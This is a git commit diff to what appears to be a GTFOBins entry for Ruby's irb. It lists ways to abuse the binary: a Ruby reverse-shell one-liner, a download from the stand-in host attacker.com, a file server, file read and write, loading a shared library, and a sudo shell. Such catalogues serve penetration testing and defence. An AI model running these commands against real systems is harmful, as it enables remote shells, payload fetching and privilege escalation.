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Adjust and add file-write, file-read, and library-load to irb

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This commit is contained in:
Emilio 2019-01-03 20:27:53 +00:00
parent 1cbe81b195
commit 76f0b9cf45
1 changed files with 18 additions and 6 deletions
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24
_gtfobins/irb.md
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@ -5,24 +5,36 @@ functions:
irb
exec '/bin/bash'
reverse-shell:
- description: Run `nc -lvp RPORT` on the attacker box to receive the shell.
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
export RHOST='127.0.0.1'
export RPORT=9000
irb
require 'socket'; exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read} end
file-upload:
- description: Serve files in the local folder running an HTTP server on port 8080.
- description: Serve files in the local folder running an HTTP server on port 8888.
code: |
irb
require 'webrick'; WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd).start;
require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start;
file-download:
- description: Fetch a remote file via an HTTP GET request and store it in `PWD`.
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export FILE=file_to_save
export LFILE=file_to_save
irb
require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['FILE'])
require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['LFILE'])
file-write:
- code: |
irb
File.open("file_to_write", "w+") { |f| f.write("DATA") }
file-read:
- code: |
irb
puts File.read("file_to_read")
library-load:
- code: |
irb
require "fiddle"; Fiddle.dlopen("lib.so")
sudo:
- code: |
sudo irb